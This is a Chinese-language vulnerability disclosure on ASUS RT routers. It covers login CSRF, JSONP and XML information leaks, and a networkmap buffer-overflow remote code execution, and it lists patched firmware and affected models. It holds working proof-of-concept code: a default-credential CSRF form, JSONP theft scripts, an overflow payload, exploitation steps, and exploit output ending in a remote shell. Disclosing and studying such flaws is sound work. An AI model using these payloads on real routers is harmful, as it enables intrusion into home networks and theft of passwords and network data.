导语:华硕RT路由器存在CSRF漏洞,允许恶意站点登录和更改路由器中的设置,多个JSONP漏洞泄露敏感信息,XML页面显示WiFi密码。
简述
近日,有安全研究员发现华硕RT路由器存在CSRF漏洞,允许恶意站点登录和更改路由器中的设置;多个JSONP漏洞泄露敏感信息,XML页面显示WiFi密码。
大部分这些问题已经由华硕在3月2017固件更新(v3.0.0.4.380.7378)中修复。一个问题(JSONP信息披露)仍然不确定,因为供应商不认为它是安全威胁。CVE-2017-5891已被分配到CSRF问题,CVE-2017-5892涉及非CSRF问题。[ADDED 05/10/2017:如下面的评论者所报道,4G-AC55U也受到影响,但没有可用的补丁。]
漏洞详细信息
像其他路由器一样,华硕的RT路由器带有可通过本地网络访问的内置Web界面,但通常无法通过Internet访问。我们发现web页面存在多个安全问题,在同一网络上的用户访问恶意站点或者运行恶意的应用程序可进行攻击路由器。
CSRF漏洞,用户可以尝试登录来更改路由器配置信息。 JSONP漏洞,网站上定义了匹配的函数名称,就可以通过SCRIP加载JSONP页面。 XML信息泄露漏洞,此页面需要移动或桌面应用程序才能利用。
注意:所有攻击都需要知道路由器的本地IP地址。可以通过JavaScript API(如WebRTC)来获取。
问题#1 – 登录页面CSRF
路由器的登录页面没有任何类型的CSRF保护,因此允许恶意网站在用户不知情的情况下向路由器提交登录请求。显然,这只有在网站知道路由器的用户名和密码或用户没有更改默认凭据(“admin / admin”)的情况下才起作用。要利用,请将base-64编码的用户名和密码作为“ login_authorization”表单提交到浏览器的“/login.cgi”URL。
POC:使用默认密码
<form action =“http://192.168.1.1/login.cgi”method =“post”target =“_ blank”> <input name =“login_authorization”type =“text” value =“YWRtaW46YWRtaW4 =”/> <input type =“submit”/> </ form>
问题#2 -配置(设置)信息csrf
登录后的每个页面没有csr保护,这意味着,一旦访问恶意网站进行登陆,如上所述,可以在用户不知情的情况下更改路由器中的任何设置。
问题#3 – JSONP信息泄露(无需登录)
/findasus.json 返回路由器型号名称,SSID名称和路由器的本地IP地址 iAmAlive([{model?Name:“XXX”,ssid:“YYY”,ipAddr:“ZZZZ”}]) /httpd_check.json 返回:{“alive”:1,“isdomain”:0}
漏洞代码如下:
function iAmAlive(payload) { window.alert("Result returned: " + JSON.stringify(payload)); } function alert1() { var script = document.createElement('script'); script.src = 'http://192.168.1.1/findasus.json' document.getElementsByTagName('head')[0].appendChild(script); } function alert2() { var script = document.createElement('script'); script.src = 'http://192.168.1.1/httpd_check.json' document.getElementsByTagName('head')[0].appendChild(script); }
问题#4 – JSONP信息泄露(需登录)
在路由器接口中存在多个可显示路由器中各种数据的JSONP页面。
以下是漏洞页面和漏洞代码:
/status.asp - 网络信息 function getstatus() { var script = document.createElement('script'); script.src = 'http://192.168.1.1/status.asp' document.getElementsByTagName('head')[0].appendChild(script); } function show_wanlink_info() { var obj = {}; obj.status = wanlink_status(); obj.statusstr = wanlink_statusstr(); obj.wanlink_type = wanlink_type(); obj.wanlink_ipaddr = wanlink_ipaddr(); obj.wanlink_xdns = wanlink_xdns(); window.alert(JSON.stringify(obj)); } <br/> <button onClick="getstatus()">Load Status script</button> <button onClick="show_wanlink_info()">Show wanlink info</button> <br/><br/> /wds_aplist_2g.asp - 附近wifi,2.4 Ghz频段 /wds_aplist_5g.asp - 附近wifi,5 Ghz频段 function getwds_2g() { var script = document.createElement('script'); script.src = 'http://192.168.1.1/wds_aplist_2g.asp' document.getElementsByTagName('head')[0].appendChild(script); } function getwds_5g() { var script = document.createElement('script'); script.src = 'http://192.168.1.1/wds_aplist_5g.asp' document.getElementsByTagName('head')[0].appendChild(script); } <br/> <button onClick="getwds_2g()">Load 2G info</button> <button onClick="getwds_5g()">Load 5G info</button> <button onClick="window.alert(JSON.stringify(wds_aplist))">Show AP info</button> <br/><br/> /update_networkmapd.asp 设备的网络映射 function getmap() { var script = document.createElement('script'); script.src = 'http://192.168.1.1/update_networkmapd.asp' document.getElementsByTagName('head')[0].appendChild(script); } <br/> <button onClick="getmap()">Load Network map</button> <button onClick="window.alert(JSON.stringify(fromNetworkmapd))">Show Map</button> <br/><br/> /update_clients.asp 原始数据 function getorigin() { originData = []; var script = document.createElement('script'); script.src = 'http://192.168.1.1/update_clients.asp' document.getElementsByTagName('head')[0].appendChild(script); } <br/> <button onClick="getorigin()">Load Origin</button> <button onClick="window.alert(JSON.stringify(originData))">Show Origin</button> /get_real_ip.asp 外部IP地址 function getrealip() { var script = document.createElement('script'); script.src = 'http://192.168.1.1/get_real_ip.asp' document.getElementsByTagName('head')[0].appendChild(script); } <br/> <button onClick="getrealip()">Load IP</button> <button onClick="window.alert(JSON.stringify(wan0_realip_ip))">Show IP</button> /get_webdavInfo.asp WebDAV信息 function getwebdav() { var script = document.createElement('script'); script.src = 'http://192.168.1.1/get_webdavInfo.asp'; document.getElementsByTagName('head')[0].appendChild(script); } <br/> <button onClick="getwebdav()">Load WebDav</button> <button onClick="window.alert(JSON.stringify(pktInfo))">Show Info 1</button> <button onClick="window.alert(JSON.stringify(webdavInfo))">Show Info 1</button> <br/><br/>
问题#5 – XML页面显示WiFi密码
路由器中存在一个XML页面,显示WiFi密码,但是为了利用此漏洞,需要在本地网络上运行移动或桌面应用程序,因为XML不能在浏览器中加载。该端点可以在以下URL访问,需要登录:
[router IP]/WPS_info.xml
问题#6 – 远程代码执行
组件:networkmap
CVE:CVE-2017-6548
networkmap负责生成客户端连接到路由器的地图。它连续监视LAN以检测未知计算机提交的ARP请求。当出现新的MAC地址时,它将探测相关的IP地址,用于运行打印机共享,http服务器和iTunes服务器等服务。
这是通过发送组播SSP发现来实现的:
M-SEARCH * HTTP/1.1 HOST: 239.255.255.250:1900 ST:upnp:rootdevice MAN:"ssdp:discover" MX:3
然后,设备可以响应指示iTunes服务的位置的消息。
HTTP/1.1 200 OK
Location:HTTP://host:port/path
漏洞细节
该功能process_device_repsonse负责解析SSDP答案
/************************************************************************************************/ // process the device response "HTTP/1.1 200 OK" int process_device_response(char *msg) { char *line, *body, *p; // temporary variables char *location = NULL; // the LOCATION: header char host[16], port[6]; // the ip and port of the device ushort destport; // the integer type of device port char *data = NULL; // the data in packet int http_fd; // the http socket fd int nbytes; // recv number int i; char *descri = NULL; int len; struct timeval timeout={10, 0}; //search "rnrn" or "rn" first appear place and judge whether msg have blank. if( (body = strstr(msg, "rnrn")) != NULL) body +=4; else if ( (body = strstr(msg, "rn")) != NULL) body +=2; else return 0; p = msg; // find the LOCATION information. while( p!= NULL && p < body) { line = strsep(&p, "rn"); //divide up string if((strncmp(line, "LOCATION:", 9) == 0) || (strncmp(line, "Location:", 9) == 0)) { location = strip_chars(&line[9], "t"); location = strip_chars(&line[9], " "); break; } } NMP_DEBUG_F("UPnP location=%sn", location); //fprintf(fp_upnp, "UPnP location=%sn", location);//Yau // get the destination ip location += 7; i = 0; while( (*location != ':') && (*location != '/')) { host[i] = *location++; i++; } host[i] = ''; //get the destination port if(*location == ':') { for(location++, i =0; *location != '/'; i++) port[i] = *location++; port[i] = ''; destport = (ushort)atoi(port); } else destport = 80;
它在主机和端口的解析代码中包含多个缓冲区溢出。这种基于堆栈的溢出可用于networkmap通过覆盖$pc存储在堆栈上的保存来获得对控制流的控制。
解析此消息:
HTTP/1.1 200 OK Location:HTTP://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/
将溢出host[16]并导致$pc被设定0x41414141为进一步剥削的起点。为了漏洞利用,我们收集了系统的更多信息。
基础信息
ASUSWRT基于运行在一个小端MIPS CPU上的Linux。networkmap当设备启动时,易受攻击的程序将自动启动,并且watchdog如果进程崩溃则另外重新启动该程序。
# cat /proc/cpuinfo system type : MT7620 processor : 0 cpu model : MIPS 24Kc V5.0 BogoMIPS : 386.04 wait instruction : yes microsecond timers : yes tlb_entries : 32 extra interrupt vector : yes hardware watchpoint : yes, count: 4, address/irw mask: [0x0000, 0x0ff8, 0x0ff8, 0x0ff8] ASEs implemented : mips16 dsp shadow register sets : 1 core : 0 VCED exceptions : not available VCEI exceptions : not available # ps PID USER VSZ STAT COMMAND 1 admin 3940 S /sbin/init 2 admin 0 SW [kthreadd] 3 admin 0 SW [ksoftirqd/0] 4 admin 0 SW [kworker/0:0] 5 admin 0 SW [kworker/u:0] 6 admin 0 SW< [khelper] 7 admin 0 SW [sync_supers] 8 admin 0 SW [bdi-default] 9 admin 0 SW< [kintegrityd] 10 admin 0 SW< [kblockd] 11 admin 0 SW [kswapd0] 12 admin 0 SW [fsnotify_mark] 13 admin 0 SW< [crypto] 17 admin 0 SW [mtdblock0] 18 admin 0 SW [mtdblock1] 19 admin 0 SW [mtdblock2] 20 admin 0 SW [mtdblock3] 21 admin 0 SW [mtdblock4] 22 admin 0 SW [mtdblock5] 23 admin 0 SW [kworker/u:1] 30 admin 0 SW [kworker/0:1] 41 admin 660 S hotplug2 --persistent --no-coldplug 76 admin 3924 S console 78 admin 1276 S /sbin/syslogd -m 0 -S -O /tmp/syslog.log -s 256 -l 6 80 admin 1276 S /sbin/klogd -c 5 82 admin 1292 S /bin/sh 115 admin 0 SW [RtmpCmdQTask] 116 admin 0 SW [RtmpWscTask] 135 admin 0 SW [RtmpCmdQTask] 136 admin 0 SW [RtmpWscTask] 164 admin 3932 S /sbin/wanduck 168 admin 1128 S dropbear -p 192.168.1.1:22 -a 175 admin 3932 S wpsaide 189 nobody 1056 S dnsmasq --log-async 194 admin 2588 S avahi-daemon: running [RT-AC53-B8F4.local] 196 admin 4112 S httpd -i br0 197 admin 1068 S /usr/sbin/infosvr br0 199 admin 3932 S watchdog 201 admin 2180 S rstats 210 admin 1160 S lld2d br0 211 admin 3932 S ots 224 admin 800 S miniupnpd -f /etc/upnp/config 229 admin 1284 S /sbin/udhcpc -i vlan2 -p /var/run/udhcpc0.pid -s /tmp/udhcpc -O33 -O249 302 admin 1152 S dropbear -p 192.168.1.1:22 -a 303 admin 1300 S -sh 344 admin 1128 S networkmap 359 admin 1280 R ps # uname -a Linux (none) 2.6.36 #1 Fri Sep 23 12:05:55 CST 2016 mips GNU/Linux
networkmap分析存储器映射以继续利用该设备。
# cat /proc/$(pidof networkmap)/maps 00400000-0040b000 r-xp 00000000 1f:04 270 /usr/sbin/networkmap 0041a000-0041b000 rw-p 0000a000 1f:04 270 /usr/sbin/networkmap 0041b000-0041f000 rwxp 00000000 00:00 0 [heap] 2b893000-2b894000 rw-p 00000000 00:00 0 2b894000-2b89a000 r-xp 00000000 1f:04 828 /lib/ld-uClibc.so.0 2b89a000-2b8a0000 rw-s 00000000 00:04 0 /SYSV000003e9 (deleted) 2b8a0000-2b8a4000 rw-s 00000000 00:04 32769 /SYSV000003ea (deleted) 2b8a9000-2b8aa000 r--p 00005000 1f:04 828 /lib/ld-uClibc.so.0 2b8aa000-2b8ab000 rw-p 00006000 1f:04 828 /lib/ld-uClibc.so.0 2b8ab000-2b8d9000 r-xp 00000000 1f:04 258 /usr/lib/libshared.so 2b8d9000-2b8e8000 ---p 00000000 00:00 0 2b8e8000-2b8eb000 rw-p 0002d000 1f:04 258 /usr/lib/libshared.so 2b8eb000-2b8ed000 rw-p 00000000 00:00 0 2b8ed000-2b8ef000 r-xp 00000000 1f:04 235 /usr/lib/libnvram.so 2b8ef000-2b8ff000 ---p 00000000 00:00 0 2b8ff000-2b900000 rw-p 00002000 1f:04 235 /usr/lib/libnvram.so 2b900000-2b90e000 r-xp 00000000 1f:04 760 /lib/libgcc_s.so.1 2b90e000-2b91e000 ---p 00000000 00:00 0 2b91e000-2b91f000 rw-p 0000e000 1f:04 760 /lib/libgcc_s.so.1 2b91f000-2b95a000 r-xp 00000000 1f:04 827 /lib/libc.so.0 2b95a000-2b96a000 ---p 00000000 00:00 0 2b96a000-2b96b000 rw-p 0003b000 1f:04 827 /lib/libc.so.0 2b96b000-2b96f000 rw-p 00000000 00:00 0 2b970000-2b97f000 r--s 03eb0000 00:0c 78 /dev/nvram 7f8a7000-7f8c8000 rwxp 00000000 00:00 0 [stack] 7fff7000-7fff8000 r-xp 00000000 00:00 0 [vdso]
获取到信息:
部分ASLR被激活:
1.堆栈地址是随机的 2.图书馆地址是随机的 3.程序地址不是随机的 4.堆地址不是随机的
没有Stack-Protector
1.堆和堆都被映射为可执行文件
2.二进制包含几乎没有适合构建ROP链的小工具
漏洞利用:
最后的漏洞利用包括以下步骤:
1. 启动一个提供shellcode的网络服务器
2. 监听路由器发送的组播UDP消息
3. 数据库清理/崩溃:使堆布局可预测
随机MAC地址 发送消息:跳转到删除networkmap数据库并崩溃的小工具 networkmap将重新启动
4. 喷灌堆1,2:
随机MAC地址
发送消息:包含Web服务器的IP +端口
networkmap 将收到shellcode并将其存储在堆上
5. 启动有效载荷
随机MAC地址
发送消息:跳到包含shellcode的堆地址
6. 连接到打开的外壳
有关详细信息,请查看完整的漏洞:networkmap-pwn.py
例:
# ./networkmap-pwn.py [-] starting webserver [-] received SSP discovery [-] clearing database and crashing [-] received SSP discovery [-] spraying heap 1/2 [-] got shellcode request [-] sending shellcode [-] received SSP discovery [-] spraying heap 2/2 [-] received SSP discovery [-] starting payload [-] try to connect to shell [-] try to connect to shell [+] connected Linux (none) 2.6.36 #1 Fri Sep 23 12:05:55 CST 2016 mips GNU/Linux [+] pwned
减缓措施/供应商回应
用户应更改默认凭据并应用华硕发布的最新固件版本v3.0.0.4.380.7378或更高版本(除了没有可用补丁的4G-AC55U)。
受影响的型号包括以下华硕路由器,并不详尽:
4G-AC55U - [ADDED 05/10/2017:如下面的评论者所报道,4G-AC55U也受到影响,但没有可用的补丁] RT-AC51U RT-AC52U B1 - [ADDED 05/10/2017基于华硕固件更新] RT-AC53 - [ADDED 05/10/2017基于华硕固件更新] RT-AC53U RT-AC55U RT-AC56R RT-AC56S RT-AC56U RT-AC66U RT-AC68U RT-AC68UF - [ADDED 05/10/2017基于华硕固件更新] RT-AC66R RT-AC66U RT-AC66W RT-AC68W RT-AC68P RT-AC68R RT-AC68U RT-AC87R RT-AC87U RT-AC88U - [ADDED 05/10/2017基于华硕固件更新] RT-AC1200 - [ADDED 05/10/2017基于华硕固件更新] RT-AC1750 - [ADDED 05/10/2017基于华硕固件更新] RT-AC1900P RT-AC3100 RT-AC3200 RT-AC5300 RT-N11P RT-N12(仅限D1版) RT-N12 + RT-N12E RT-N16 - [ADDED 05/10/2017基于华硕固件更新] RT-N18U RT-N56U RT-N66R RT-N66U(仅限B1版) RT-N66W RT-N300 - [ADDED 05/10/2017基于华硕固件更新] RT-N600 - [ADDED 05/10/2017基于华硕固件更新]
参考
CVE-ID:CVE-2017-5891和CVE-2017-5892